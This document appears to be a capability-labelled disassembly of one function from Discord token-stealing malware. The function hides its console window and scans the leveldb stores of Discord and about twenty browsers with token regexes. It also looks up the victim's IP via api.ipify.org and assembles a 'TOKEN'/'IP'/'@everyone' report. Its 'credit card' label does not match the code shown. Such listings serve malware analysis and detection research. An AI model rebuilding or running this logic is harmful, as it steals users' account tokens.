Function at 0x403360
Capabilities:
Hide graphical window
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x40f749
mov eax, dword fs:[0]
push eax
sub esp, 0x9b8
mov eax, dword [0x414008]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor eax, eax
mov dword [ebp - 0x93c], 0
push eax
mov dword [ebp - 0x940], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
xor esi, esi
mov dword [ebp - 0x718], 0
mov dword [ebp - 0x92c], 0
mov dword [ebp - 0x748], 0
mov dword [ebp - 0x708], esi
mov dword [ebp - 0x704], 0xf
mov byte [ebp - 0x718], 0
mov dword [ebp - 4], esi
xor edi, edi
mov dword [ebp - 0x6e8], esi
mov dword [ebp - 0x6d8], edi
mov dword [ebp - 0x6d4], 0xf
mov byte [ebp - 0x6e8], 0
push str.APPDATA
lea eax, [ebp - 0x748]
mov byte [ebp - 4], 1
push eax
lea eax, [ebp - 0x92c]
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
add esp, 0xc
test eax, eax
jne 0x40346b
mov edx, dword [ebp - 0x92c]
test edx, edx
je 0x40346b
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x403440
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x718]
call fcn.004067e0
push dword [ebp - 0x92c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov esi, dword [ebp - 0x708]
add esp, 4
push str.LOCALAPPDATA
lea eax, [ebp - 0x748]
push eax
lea eax, [ebp - 0x92c]
push eax
call dword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
add esp, 0xc
test eax, eax
jne 0x4034cb
mov edx, dword [ebp - 0x92c]
test edx, edx
je 0x4034cb
mov ecx, edx
lea edi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4034a0
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x6e8]
call fcn.004067e0
push dword [ebp - 0x92c]
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov edi, dword [ebp - 0x6d8]
add esp, 4
push ecx
lea ecx, [ebp - 0x6d0]
call fcn.00406cf0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x80c]
xorps xmm0, xmm0
mov dword [ebp - 0x7fc], 0
push str._w__24._w__6._w__27
movups xmmword [ebp - 0x80c], xmm0
call fcn.00405ce0
push ecx
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x820]
xorps xmm0, xmm0
mov dword [ebp - 0x810], 0
push str.mfa._w__84
movups xmmword [ebp - 0x820], xmm0
call fcn.00405ce0
push 0x38
lea eax, [ebp - 0x7f8]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov dword [ebp - 0x7f8], 0
mov byte [ebp - 0x7f4], 0
movups xmmword [ebp - 0x7f0], xmm0
mov dword [ebp - 0x7e0], 0
mov byte [ebp - 0x7dc], 0
mov dword [ebp - 0x7d8], 0
mov dword [ebp - 0x7d4], 0
mov byte [ebp - 0x7d0], 0
mov dword [ebp - 0x7cc], 0
mov dword [ebp - 0x7c8], 0
mov byte [ebp - 0x7c4], 0
push 0x38
lea eax, [ebp - 0x7c0]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
xorps xmm0, xmm0
mov dword [ebp - 0x7c0], 0
add esp, 0x18
mov byte [ebp - 0x7bc], 0
movups xmmword [ebp - 0x7b8], xmm0
mov dword [ebp - 0x7a8], 0
mov byte [ebp - 0x7a4], 0
mov dword [ebp - 0x7a0], 0
mov dword [ebp - 0x79c], 0
mov byte [ebp - 0x798], 0
mov dword [ebp - 0x794], 0
mov dword [ebp - 0x790], 0
mov byte [ebp - 0x78c], 0
mov eax, bind
mov byte [ebp - 4], 6
sub eax, esi
cmp eax, 0x1e
jb 0x404fec
cmp dword [ebp - 0x704], 0x10
lea eax, [ebp - 0x718]
push 0x1e
cmovae eax, dword [ebp - 0x718]
push str.DiscordLocal_Storageleveldb
push esi
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x220]
call fcn.00407e40
mov byte [ebp - 4], 7
mov eax, bind
mov ecx, dword [ebp - 0x708]
sub eax, ecx
cmp eax, 0x20
jb 0x404fec
cmp dword [ebp - 0x704], 0x10
lea eax, [ebp - 0x718]
push 0x20
cmovae eax, dword [ebp - 0x718]
push str.LightcordLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x208]
call fcn.00407e40
mov byte [ebp - 4], 8
mov eax, bind
mov ecx, dword [ebp - 0x708]
sub eax, ecx
cmp eax, 0x21
jb 0x404fec
cmp dword [ebp - 0x704], 0x10
lea eax, [ebp - 0x718]
push 0x21
cmovae eax, dword [ebp - 0x718]
push str.discordptbLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x1f0]
call fcn.00407e40
mov byte [ebp - 4], 9
mov eax, bind
mov ecx, dword [ebp - 0x708]
sub eax, ecx
cmp eax, 0x24
jb 0x404fec
cmp dword [ebp - 0x704], 0x10
lea eax, [ebp - 0x718]
push 0x24
cmovae eax, dword [ebp - 0x718]
push str.discordcanaryLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x1d8]
call fcn.00407e40
mov byte [ebp - 4], 0xa
mov eax, bind
mov ecx, dword [ebp - 0x708]
sub eax, ecx
cmp eax, 0x32
jb 0x404fec
cmp dword [ebp - 0x704], 0x10
lea eax, [ebp - 0x718]
push 0x32
cmovae eax, dword [ebp - 0x718]
push str.Opera_SoftwareOpera_StableLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x1c0]
call fcn.00407e40
mov byte [ebp - 4], 0xb
mov eax, bind
mov ecx, dword [ebp - 0x708]
sub eax, ecx
cmp eax, 0x35
jb 0x404fec
cmp dword [ebp - 0x704], 0x10
lea eax, [ebp - 0x718]
push 0x35
cmovae eax, dword [ebp - 0x718]
push str.Opera_SoftwareOpera_GX_StableLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x1a8]
call fcn.00407e40
mov eax, bind
mov byte [ebp - 4], 0xc
sub eax, edi
cmp eax, 0x26
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x26
cmovae eax, dword [ebp - 0x6e8]
push str.AmigoUser_DataLocal_Storageleveldb
push edi
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x190]
call fcn.00407e40
mov byte [ebp - 4], 0xd
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x26
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x26
cmovae eax, dword [ebp - 0x6e8]
push str.TorchUser_DataLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x178]
call fcn.00407e40
mov byte [ebp - 4], 0xe
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x27
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x27
cmovae eax, dword [ebp - 0x6e8]
push str.KometaUser_DataLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x160]
call fcn.00407e40
mov byte [ebp - 4], 0xf
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x28
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x28
cmovae eax, dword [ebp - 0x6e8]
push str.OrbitumUser_DataLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x148]
call fcn.00407e40
mov byte [ebp - 4], 0x10
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x2c
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x2c
cmovae eax, dword [ebp - 0x6e8]
push str.CentBrowserUser_DataLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x130]
call fcn.00407e40
mov byte [ebp - 4], 0x11
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x2c
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x2c
cmovae eax, dword [ebp - 0x6e8]
push str.7Star7StarUser_DataLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x118]
call fcn.00407e40
mov byte [ebp - 4], 0x12
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x30
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x30
cmovae eax, dword [ebp - 0x6e8]
push str.SputnikSputnikUser_DataLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x100]
call fcn.00407e40
mov byte [ebp - 4], 0x13
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x30
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x30
cmovae eax, dword [ebp - 0x6e8]
push str.VivaldiUser_DataDefaultLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0xe8]
call fcn.00407e40
mov byte [ebp - 4], 0x14
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x32
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x32
cmovae eax, dword [ebp - 0x6e8]
push str.GoogleChrome_SxSUser_DataLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0xd0]
call fcn.00407e40
mov byte [ebp - 4], 0x15
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x35
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x35
cmovae eax, dword [ebp - 0x6e8]
push str.Epic_Privacy_BrowserUser_DataLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0xb8]
call fcn.00407e40
mov byte [ebp - 4], 0x16
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x36
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x36
cmovae eax, dword [ebp - 0x6e8]
push str.GoogleChromeUser_DataDefaultLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0xa0]
call fcn.00407e40
mov byte [ebp - 4], 0x17
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x37
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x37
cmovae eax, dword [ebp - 0x6e8]
push str.uCozMediaUranUser_DataDefaultLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x88]
call fcn.00407e40
mov byte [ebp - 4], 0x18
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x37
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x37
cmovae eax, dword [ebp - 0x6e8]
push str.MicrosoftEdgeUser_DataDefaultLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x70]
call fcn.00407e40
mov byte [ebp - 4], 0x19
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x3d
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x3d
cmovae eax, dword [ebp - 0x6e8]
push str.YandexYandexBrowserUser_DataDefaultLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x58]
call fcn.00407e40
mov byte [ebp - 4], 0x1a
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x42
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x42
cmovae eax, dword [ebp - 0x6e8]
push str.Opera_SoftwareOpera_NeonUser_DataDefaultLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x40]
call fcn.00407e40
mov byte [ebp - 4], 0x1b
mov eax, bind
mov ecx, dword [ebp - 0x6d8]
sub eax, ecx
cmp eax, 0x44
jb 0x404fec
cmp dword [ebp - 0x6d4], 0x10
lea eax, [ebp - 0x6e8]
push 0x44
cmovae eax, dword [ebp - 0x6e8]
push str.BraveSoftwareBrave_BrowserUser_DataDefaultLocal_Storageleveldb
push ecx
push eax
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x28]
call fcn.00407e40
mov dword [ebp - 0x938], 0x3fffff0
push 3
call dword [sym.imp.libcurl.dll_curl_global_init]
call dword [sym.imp.libcurl.dll_curl_easy_init]
mov esi, dword [sym.imp.libcurl.dll_curl_easy_setopt]
mov edi, eax
push str.https:__api.ipify.org_
push 0x2712
mov dword [ebp - 0x780], 0
push edi
mov dword [ebp - 0x770], 0
mov dword [ebp - 0x76c], 0xf
mov byte [ebp - 0x780], 0
call esi
push 0x403300
push 0x4e2b
push edi
call esi
lea eax, [ebp - 0x780]
push eax
push 0x2711
push edi
call esi
push edi
call dword [sym.imp.libcurl.dll_curl_easy_perform]
add esp, 0x2c
xor esi, esi
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x974], esi
mov byte [ebp - 0x998], 0
nop dword [eax + eax]
lea ecx, [ebp - 0x220]
lea eax, [esi + esi*2]
lea eax, [ecx + eax*8]
push eax
lea ecx, [ebp - 0x870]
call fcn.00406330
push dword [ebp - 0x998]
lea edx, [ebp - 0x870]
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0x768]
call fcn.00407fa0
add esp, 4
lea ecx, [ebp - 0x768]
mov byte [ebp - 4], 0x1f
call fcn.004031b0
mov byte [ebp - 4], 0x1e
mov edx, dword [ebp - 0x754]
mov byte [ebp - 0x92d], al
cmp edx, 8
jb 0x403d65
mov ecx, dword [ebp - 0x768]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403d55
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
mov al, byte [ebp - 0x92d]
add esp, 8
test al, al
je 0x404e1a
mov byte [ebp - 0x9b4], 0
lea edx, [ebp - 0x870]
push dword [ebp - 0x9b4]
lea ecx, [ebp - 0x768]
call fcn.00407fa0
mov dword [ebp - 0x738], 0
mov dword [ebp - 0x734], 0
lea edx, [ebp - 0x768]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x738]
call fcn.00406a90
add esp, 4
test eax, eax
jne 0x404ff1
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0x754]
cmp edx, 8
jb 0x403e03
mov ecx, dword [ebp - 0x768]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403df9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
mov ecx, dword [ebp - 0x734]
xorps xmm0, xmm0
movlpd qword [ebp - 0x750], xmm0
test ecx, ecx
je 0x403e1c
lock inc dword [ecx + 4]
mov esi, dword [ebp - 0x738]
mov edi, ecx
mov dword [ebp - 0x750], esi
mov dword [ebp - 0x74c], edi
test ecx, ecx
je 0x403e38
lock inc dword [ecx + 4]
movlpd qword [ebp - 0x788], xmm0
mov dword [ebp - 0x788], 0
mov dword [ebp - 0x784], 0
test ecx, ecx
je 0x403e7b
or eax, 0xffffffff
lock xadd dword [ecx + 4], eax
jne 0x403e7b
mov eax, dword [ecx]
call dword [eax]
mov ecx, dword [ebp - 0x734]
or eax, 0xffffffff
lock xadd dword [ecx + 8], eax
jne 0x403e7b
mov eax, dword [ecx]
call dword [eax + 4]
mov byte [ebp - 4], 0x25
test esi, esi
je 0x404dc4
mov byte [ebp - 0x9b0], 0
nop
lea eax, [esi + 0x20]
push eax
lea ecx, [ebp - 0x768]
call fcn.00402380
push dword [ebp - 0x9b0]
mov edx, str..ldb
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x98c]
call fcn.00407fd0
add esp, 4
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x958]
mov esi, dword [ebp - 0x938]
lea ecx, [ebp - 0x768]
or esi, 1
push eax
mov dword [ebp - 0x93c], esi
call fcn.00402280
mov dword [ebp - 4], 0x28
lea ecx, [ebp - 0x98c]
push dword [ebp - 0x97c]
or esi, 2
cmp dword [ebp - 0x978], 8
mov dword [ebp - 0x938], esi
cmovae ecx, dword [ebp - 0x98c]
push ecx
mov ecx, eax
mov dword [ebp - 0x93c], esi
call fcn.00402100
test eax, eax
je 0x403f9b
mov byte [ebp - 0x9ac], 0
lea ecx, [ebp - 0x970]
push dword [ebp - 0x9ac]
mov edx, str..log
call fcn.00407fd0
add esp, 4
lea eax, [ebp - 0x700]
mov dword [ebp - 4], 0x29
or esi, 4
lea ecx, [ebp - 0x768]
push eax
mov dword [ebp - 0x93c], esi
call fcn.00402280
mov edi, dword [ebp - 0x95c]
lea ecx, [ebp - 0x970]
push dword [ebp - 0x960]
or esi, 8
cmp edi, 8
mov dword [ebp - 0x938], esi
mov esi, dword [ebp - 0x970]
cmovae ecx, esi
push ecx
mov ecx, eax
call fcn.00402100
test eax, eax
je 0x403fa7
mov byte [ebp - 0x92d], 0
jmp 0x403fae
mov edi, dword [ebp - 0x95c]
mov esi, dword [ebp - 0x970]
mov byte [ebp - 0x92d], 1
mov eax, dword [ebp - 0x938]
test al, 8
je 0x404030
mov edx, dword [ebp - 0x6ec]
and eax, 0xfffffff7
mov dword [ebp - 0x938], eax
cmp edx, 8
jb 0x404013
mov ecx, dword [ebp - 0x700]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x403ff7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
mov edi, dword [ebp - 0x95c]
add esp, 8
mov esi, dword [ebp - 0x970]
mov eax, dword [ebp - 0x938]
xor ecx, ecx
mov dword [ebp - 0x6f0], 0
mov dword [ebp - 0x6ec], 7
mov word [ebp - 0x700], cx
mov dword [ebp - 4], 0x28
test al, 4
je 0x40409b
and eax, 0xfffffffb
mov dword [ebp - 0x938], eax
cmp edi, 8
jb 0x40407e
lea edi, [edi*2 + 2]
mov eax, esi
cmp edi, 0x1000
jb 0x40406e
mov esi, dword [esi - 4]
add edi, 0x23
sub eax, esi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edi
push esi
call fcn.0040e709
mov eax, dword [ebp - 0x938]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x960], 0
mov dword [ebp - 0x95c], 7
mov word [ebp - 0x970], cx
mov dword [ebp - 4], 0x27
test al, 2
je 0x404112
mov edx, dword [ebp - 0x944]
and eax, 0xfffffffd
mov dword [ebp - 0x938], eax
cmp edx, 8
jb 0x4040f5
mov ecx, dword [ebp - 0x958]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4040e5
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
mov eax, dword [ebp - 0x938]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x948], 0
mov dword [ebp - 0x944], 7
mov word [ebp - 0x958], cx
mov dword [ebp - 4], 0x26
test al, 1
je 0x404166
mov edx, dword [ebp - 0x978]
and eax, 0xfffffffe
mov dword [ebp - 0x938], eax
cmp edx, 8
jb 0x404166
mov ecx, dword [ebp - 0x98c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40415c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404fbf
push edx
push ecx
call fcn.0040e709
add esp, 8
cmp byte [ebp - 0x92d], 0
je 0x404d61
push 0xb8
lea eax, [ebp - 0x928]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
cmp dword [ebp - 0x754], 8
lea eax, [ebp - 0x768]
lea ecx, [ebp - 0x928]
cmovae eax, dword [ebp - 0x768]
push eax
call fcn.00407bf0
mov eax, dword [ebp - 0x928]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x928]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x92c], eax
mov eax, dword [ebp - 0x928]
xor edi, edi
mov word [ebp - 0x9b8], 1
mov byte [ebp - 0x9bf], 0
mov esi, dword [eax + 4]
mov eax, dword [ebp - 0x9b8]
mov dword [ebp - 0x824], eax
mov dword [ebp - 0x730], edi
mov esi, dword [ebp + esi - 0x8f0]
test esi, esi
mov dword [ebp - 0x720], edi
sete byte [ebp - 0x9c0]
mov dword [ebp - 0x71c], 0xf
mov eax, dword [ebp - 0x9c0]
mov dword [ebp - 0x740], eax
lea eax, [ebp - 0x730]
mov byte [ebp - 0x730], 0
mov dword [ebp - 0x93c], eax
mov cl, byte [ebp - 0x824]
mov al, byte [ebp - 0x740]
mov byte [ebp - 4], 0x2b
mov byte [ebp - 0x92d], cl
mov byte [ebp - 0x932], al
test al, al
jne 0x404281
test esi, esi
je 0x404272
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x404272
mov byte [ebp - 0x73f], al
jmp 0x404274
xor esi, esi
mov cl, byte [ebp - 0x92d]
mov byte [ebp - 0x932], 1
test cl, cl
jne 0x40429f
test edi, edi
je 0x404296
mov ecx, edi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
jne 0x404298
xor edi, edi
mov byte [ebp - 0x92d], 1
test esi, esi
jne 0x404393
test edi, edi
jne 0x40439b
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x730]
cmp dword [ebp - 0x71c], 0x10
lea esi, [ebp - 0x730]
mov edx, dword [ebp - 0x730]
mov eax, dword [ebp - 0x720]
cmovae ecx, edx
cmovae esi, edx
add eax, ecx
cmp dword [ebp - 0x71c], 0x10
lea ecx, [ebp - 0x730]
push esi
cmovae ecx, edx
lea edx, [ebp - 0x80c]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x7f8]
call fcn.00408010
mov edx, dword [ebp - 0x730]
lea ecx, [ebp - 0x730]
mov eax, dword [ebp - 0x720]
lea edi, [ebp - 0x730]
add esp, 0x10
cmp dword [ebp - 0x71c], 0x10
cmovae ecx, edx
cmovae edi, edx
add eax, ecx
lea ecx, [ebp - 0x730]
cmp dword [ebp - 0x71c], 0x10
push edi
cmovae ecx, edx
lea edx, [ebp - 0x820]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x7c0]
call fcn.00408010
mov ecx, dword [ebp - 0x7ec]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x7f0]
add esp, 0x10
sub ecx, esi
xor edi, edi
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x404875
xor ecx, ecx
mov dword [ebp - 0x93c], ecx
nop
cmp eax, edi
ja 0x404448
lea esi, [ebp - 0x7cc]
jmp 0x40444a
test edi, edi
jne 0x4042af
cmp byte [ebp - 0x932], 0
jne 0x4043c1
test esi, esi
je 0x4043bf
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void_]
cmp eax, 0xffffffff
je 0x4043bf
mov cl, al
mov byte [ebp - 0x73f], cl
jmp 0x4043c7
xor esi, esi
mov cl, byte [ebp - 0x73f]
mov edx, dword [ebp - 0x720]
cmp edx, dword [ebp - 0x71c]
jae 0x4043fc
cmp dword [ebp - 0x71c], 0x10
lea eax, [edx + 1]
mov dword [ebp - 0x720], eax
lea eax, [ebp - 0x730]
cmovae eax, dword [ebp - 0x730]
mov byte [eax + edx], cl
mov byte [eax + edx + 1], 0
jmp 0x40441b
push dword [ebp - 0x73f]
mov byte [ebp - 0x9a8], 0
push dword [ebp - 0x9a8]
push ecx
lea ecx, [ebp - 0x730]
call fcn.004076c0
test esi, esi
je 0x404439
mov ecx, esi
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void_]
cmp eax, 0xffffffff
je 0x404439
mov cl, byte [ebp - 0x92d]
xor al, al
jmp 0x40424f
mov cl, byte [ebp - 0x92d]
xor esi, esi
mov al, 1
jmp 0x40424f
add esi, ecx
xor ecx, ecx
mov dword [ebp - 0x700], 0
mov edx, 0xf
mov dword [ebp - 0x6f0], ecx
mov byte [ebp - 0x700], cl
mov dword [ebp - 0x6ec], edx
cmp byte [esi + 8], cl
je 0x40449c
mov eax, dword [esi]
mov esi, dword [esi + 4]
mov dword [ebp - 0x990], esi
cmp eax, esi
je 0x40449c
sub esi, eax
lea ecx, [ebp - 0x700]
push esi
push eax
call fcn.004067e0
mov edx, dword [ebp - 0x6ec]
mov ecx, dword [ebp - 0x6f0]
or dword [ebp - 0x938], 0xc0000000
mov eax, bind
mov byte [ebp - 4], 0x2d
sub eax, ecx
cmp eax, 0x2d
jb 0x404fec
push ecx
cmp edx, 0x10
lea eax, [ebp - 0x700]
cmovae eax, dword [ebp - 0x700]
push eax
push 0x2d
push str._username_:__Gr4bb___content_:__TOKEN_:
push ecx
push dword [ebp - 0x931]
lea ecx, [ebp - 0x970]
call fcn.00407e40
mov eax, dword [ebp - 0x940]
or eax, 1
mov dword [ebp - 0x940], eax
mov byte [ebp - 4], 0x2e
mov edx, dword [ebp - 0x95c]
mov eax, edx
mov ecx, dword [ebp - 0x960]
sub eax, ecx
push 0xb
push str._nIP_:
cmp eax, 0xb
jb 0x404544
cmp edx, 0x10
lea esi, [ebp - 0x970]
lea eax, [ecx + 0xb]
cmovae esi, dword [ebp - 0x970]
add esi, ecx
mov dword [ebp - 0x960], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xb], 0
lea eax, [ebp - 0x970]
jmp 0x40455e
mov byte [ebp - 0x9a4], 0
lea ecx, [ebp - 0x970]
push dword [ebp - 0x9a4]
push 0xb
call fcn.004073e0
mov dword [ebp - 0x98c], 0
mov dword [ebp - 0x97c], 0
mov dword [ebp - 0x978], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98c], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x97c], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x780]
mov byte [ebp - 4], 0x2f
push eax
lea ecx, [ebp - 0x98c]
call fcn.00406200
mov dword [ebp - 0x958], 0
mov dword [ebp - 0x948], 0
mov dword [ebp - 0x944], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x958], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x948], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0x30
mov edx, dword [ebp - 0x944]
mov eax, edx
mov ecx, dword [ebp - 0x948]
sub eax, ecx
push 0xc
push str.__everyone_
cmp eax, 0xc
jb 0x404650
cmp edx, 0x10
lea esi, [ebp - 0x958]
lea eax, [ecx + 0xc]
cmovae esi, dword [ebp - 0x958]
add esi, ecx
mov dword [ebp - 0x948], eax
push esi
call sub.VCRUNTIME140.dll_memmove
add esp, 0xc
mov byte [esi + 0xc], 0
lea eax, [ebp - 0x958]
jmp 0x40466a
mov byte [ebp - 0x9a0], 0
lea ecx, [ebp - 0x958]
push dword [ebp - 0x9a0]
push 0xc
call fcn.004073e0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x840], xmm0
movq xmm0, qword [eax + 0x10]
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, dword [ebp - 0x940]
or eax, 0xe
movq qword [ebp - 0x830], xmm0
mov dword [ebp - 0x940], eax
mov byte [ebp - 4], 0x32
mov edx, dword [ebp - 0x944]
